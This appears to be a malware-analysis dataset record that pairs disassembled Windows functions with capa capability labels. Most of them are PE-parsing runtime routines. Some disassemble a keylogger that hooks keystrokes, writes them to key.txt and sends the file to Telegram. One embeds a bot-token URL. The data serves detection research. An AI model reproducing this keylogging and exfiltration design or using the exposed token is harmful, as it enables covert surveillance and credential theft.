joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400bee50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400bee68
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400bee70
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400bee80
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400beecd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400beec4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400beecf
add rax, 0x28
cmp rax, r9
jne 0x1400beeb0
xor eax, eax
ret

Function at 0x1400beed0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400bef60
mov rdx, qword [0x1400f1310]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400bef4e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400bef4e
cmp word [rax + 0x18], 0x20b
jne 0x1400bef4e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400bef60
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400bef39
add rbx, 0x28
cmp rbx, rdi
je 0x1400bef60
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400bef30
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400bef70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400f1310]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400bef90
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400bef98
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400bef90
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400befed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400befe4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400bef90
add rax, 0x28
cmp rax, r9
jne 0x1400befd0
xor eax, eax
ret

Function at 0x1400beff0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f1310]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400bf00f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400bf018
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400bf00f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400bf030
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400f1310]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400bf050
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400bf058
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400bf050
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400bf0a0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400bf097
test rcx, rcx
je 0x1400bf050
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400bf088
xor eax, eax
ret

Function at 0x1400bf0b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400f1310]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400bf0cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400bf0d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400bf0f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400f1310]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400bf110
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400bf118
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400bf110
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400bf110
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400bf164
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400bf170
add rdx, 0x28
cmp rdx, r9
jne 0x1400bf150
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400bf180
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400f1310]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400bf1a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400bf1b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400bf1a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400bf1a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400bf1a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400bf205
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400bf218
add rdx, 0x28
cmp r10, rdx
jne 0x1400bf1f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400bf227
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400bf237
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400bf20e
test ecx, ecx
jg 0x1400bf220
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001730
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002560
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002560
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1400017a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400070a4]
mov r12, rcx
test ebx, ebx
jle 0x1400018d0
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x1400017eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001875
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x1400017d0
mov rcx, r12
call fcn.140002220
mov rsi, rax
test rax, rax
je 0x1400018f2
mov rax, qword [0x1400070a8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002350
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000186e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001880
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000186e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001730
nop dword [rax]
xor ebx, ebx
jmp 0x1400017f8
mov rax, qword [0x1400070a8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001730
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001730
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e70
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x140007100]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001ecc
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001ec3
test r12, r12
je 0x140001ec3
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ea8
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004390]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002295
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000228c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002278
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400022c0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022c0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004390]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002370
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002378
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004056f0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405700]
mov dword [rax], 1
mov rax, qword [0x00405710]
mov dword [rax], 1
mov rax, qword [0x004056e0]
mov dword [rax], 1
mov rax, qword [0x004055a0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004056d0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405690]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405550]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4015f8
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xd0], rax
mov r8d, 2
mov edx, 0
mov rcx, qword [rbp + 0xd0]
call sym.fseek
mov rcx, qword [rbp + 0xd0]
call sym.rewind
mov rcx, qword [rbp + 0xd0]
call sym.ftell
mov dword [rbp + 0xbc], eax
mov eax, dword [rbp + 0xbc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb0], rax
mov eax, dword [rbp + 0xbc]
movsxd rdx, eax
mov rax, qword [rbp + 0xb0]
mov r9, qword [rbp + 0xd0]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call dbg.XOr
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xd0]
mov rcx, rax
call sym.fputs
mov rcx, qword [rbp + 0xd0]
call sym.fclose
nop
add rsp, 0x140
pop rbp
ret
Function at 0x4016f2
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xd0], rax
mov r8d, 2
mov edx, 0
mov rcx, qword [rbp + 0xd0]
call sym.fseek
mov rcx, qword [rbp + 0xd0]
call sym.rewind
mov rcx, qword [rbp + 0xd0]
call sym.ftell
mov dword [rbp + 0xbc], eax
mov eax, dword [rbp + 0xbc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb0], rax
mov eax, dword [rbp + 0xbc]
movsxd rdx, eax
mov rax, qword [rbp + 0xb0]
mov r9, qword [rbp + 0xd0]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
lea rax, [rbp - 0x60]
lea rdx, [0x00405003]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call dbg.XOr
mov rdx, qword [rbp + 0xa8]
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call sym.fputs
mov rcx, qword [rbp + 0xd0]
call sym.fclose
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x140
pop rbp
ret

Function at 0x401815
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
movzx eax, al
add rsp, 0x20
pop rbp
ret
Function at 0x401bd9
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov eax, 0x1060
call fcn.00403840
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.Telegram
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfd0], rax
mov rax, qword [rbp + 0xfd0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.https:__api.telegram.org_bot6328567938:AAFScH10hlOHkKymIU_cNaTs93AHQlB7X_I_getUpdates
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfc8], rax
lea rdx, [rbp - 0x44]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0xfc8]
mov r9, rdx
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp - 0x44]
mov eax, eax
mov byte [rbp + rax - 0x40], 0
lea rax, [rbp - 0x40]
lea rdx, str.test
mov rcx, rax
call sym.strtok
mov qword [rbp + 0xfd8], rax
jmp 0x401cd5
mov rax, qword [rbp + 0xfd8]
mov rdx, rax
lea rcx, str.___s_n
call sym.printf
lea rdx, [0x00405111]
mov ecx, 0
call sym.strtok
mov qword [rbp + 0xfd8], rax
cmp qword [rbp + 0xfd8], 0
jne 0x401ca7
nop
add rsp, 0x1060
pop rbp
ret
Function at 0x402170
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8, rax
lea rdx, [dbg.hook]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp - 0x10], rax
call dbg.loopmessage
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x4021d0
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rdx, str.Portuguese
mov ecx, 0
call sym.setlocale
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [dbg.Crypter]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
lea rdx, [0x00405250]
lea rcx, str.key.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [dbg.hook_injection]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
lea rax, [0x00408970]
mov rax, qword [rax]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x20], 0xa
mov ecx, 0
call sym.time
cdqe
mov qword [rbp - 0x28], rax
jmp 0x4022c0
lea rcx, [0x0040525b]
call sym.printf
mov ecx, 0
call sym.time
cdqe
sub rax, qword [rbp - 0x28]
cmp qword [rbp - 0x20], rax
jg 0x4022b4
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateThread]
call rax
lea rdx, section..rdata
lea rcx, str.key.txt
call sym.fopen
mov qword [rbp - 8], rax
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call dbg.telegram_send_file
cmp qword [rbp - 0x18], 0
je 0x402344
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
jmp 0x40235b
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov eax, 1
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x4028e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402a68
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40292c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4029b5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402910
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x402a9d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402a80
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4029ae
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402a10
add dword [0x00408624], 1
cmp edi, 8
jae 0x4029e3
test dil, 4
jne 0x402a54
test edi, edi
je 0x4029d8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x402a6f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4029d8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x4029fc
jmp 0x4029d8
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4029ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4029d8
xor esi, esi
jmp 0x402937
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4029d8
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4031f0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x403244
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40323b
test rsi, rsi
je 0x40323b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403220
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x403480
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x403490
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4034a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4034e1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4034d8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4034e3
add rax, 0x28
cmp rax, r9
jne 0x4034c4
xor eax, eax
ret

Function at 0x403580
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4035ed
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4035ed
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4035ed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4035e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4035ef
add rax, 0x28
cmp rax, r9
jne 0x4035d0
xor eax, eax
add rsp, 0x28
ret

Function at 0x4036f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403710
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403708
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40376d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403764
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403774
add rax, 0x28
cmp rax, r9
jne 0x403750
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403790
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004055a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x4037fe
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4037fe
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x4037fe
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4037fe
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x4037f5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403805
add rcx, 0x28
cmp rcx, rax
jne 0x4037e0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403818
jmp 0x4037fe
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403826
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x4037fe
test r9d, r9d
jg 0x403810
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403ba0
Capabilities:
Terminate thread

Disassembly:
sub rsp, 0x28
call sym.__main
mov rax, qword [0x00405610]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00405600]
mov r8, qword [rax]
mov rax, qword [0x004055f0]
mov rcx, qword [rax]
add rsp, 0x28
jmp dbg.WinMain

Function at 0x403be0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
